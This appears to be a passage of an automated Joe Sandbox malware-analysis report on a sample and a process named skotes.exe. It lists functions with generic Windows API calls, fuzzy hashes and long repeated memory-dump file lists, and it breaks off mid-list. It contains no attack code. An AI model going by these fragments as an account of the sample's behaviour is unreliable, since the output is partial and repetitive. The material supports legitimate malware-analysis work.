Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: e8cb7e962f5f1cffe145110002c3a2c361f11efb98782e969299fcd16c6a70c3
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: 18E04632921238EBCB14DBDC890499AB2ACEB49B15B650196FD01D3150C270DE08C7E0

Function 00D22EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D22F5F
GetCurrentThreadId.KERNEL32 ref: 00D22F7E
__Mtx_unlock.LIBCPMT ref: 00D22FCC
__Cnd_broadcast.LIBCPMT ref: 00D22FE3
__Mtx_unlock.LIBCPMT ref: 00D230F5
GetCurrentThreadId.KERNEL32 ref: 00D23132
__Mtx_unlock.LIBCPMT ref: 00D2319B

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: c72beda8c18725e2abc4dc576e64aec002d4e594b049c3a8fed5c4564b7d67ea
Instruction ID: 66fd2c715ca94f5bd63569eb2fdbaf8301aa972f3446d8d75783e1a907d38517
Opcode Fuzzy Hash: c72beda8c18725e2abc4dc576e64aec002d4e594b049c3a8fed5c4564b7d67ea
Instruction Fuzzy Hash: B4A103B0A01325AFDB21DF64D94576AB7B8FF24318F084129E815E7241EB75EA14CBF1

Function 00D5CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D5CC66

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 216716ef35d099205f622c8f27e17ee433a84dfaf54fc9f6d043d06c4c2617a9
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: 63B100329203459FDF118F28C8827BEBBB5EF45341F18516AEC55EB241D6349D49CBB0

Function 00D3BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00D3BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00D3BBE4
_xtime_get.LIBCPMT ref: 00D3BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00D3BC13

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 38af449a6c85122726b20ab5797820524ae92bfc02f498dd903fd168d794505b
Instruction ID: 111d73059cff169e4d449de07f43eb3d8949af13bb78ae2f271b4f0f8ad6edcf
Opcode Fuzzy Hash: 38af449a6c85122726b20ab5797820524ae92bfc02f498dd903fd168d794505b
Instruction Fuzzy Hash: AE211D71A11219AFDF10EBA4D8829BEBBB9EF48710F101016F605BB261DB30AD419BB0

Analysis Process: skotes.exePID: 5240, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1864
Total number of Limit Nodes:	15

Executed Functions

Function 00EF652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00EF652A,?,?,?,?,?,00EF7661), ref: 00EF6566

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: dcc92c5202d47aaa91ecbfa5f7afc82176856a423638cb08a770cd9604c94232
Instruction ID: fee03d9ee3b04354013d159b78be38439e7bbd5d02e638ee8ca4f4f2f49e9abb
Opcode Fuzzy Hash: dcc92c5202d47aaa91ecbfa5f7afc82176856a423638cb08a770cd9604c94232
Instruction Fuzzy Hash: 8AE08C3014210CAFCE25BB58C8499AC3B69EF4174DF006D25FA1CBA221CB65DE82C680

Function 00EC9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 26d03432202f21ea56a96a9202a6a376706d792c9921e91a6ce2788784c514a2
Instruction ID: 099bb8622dff00db8c11fa0f9ce3f604b890ce0e8f3d49172cbadb0becb28102
Opcode Fuzzy Hash: 26d03432202f21ea56a96a9202a6a376706d792c9921e91a6ce2788784c514a2
Instruction Fuzzy Hash: 573107717042049BEB189B68EE8DFAEB7A2EFC1314F24921DE414B73D6C77689828651

Function 00EC9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
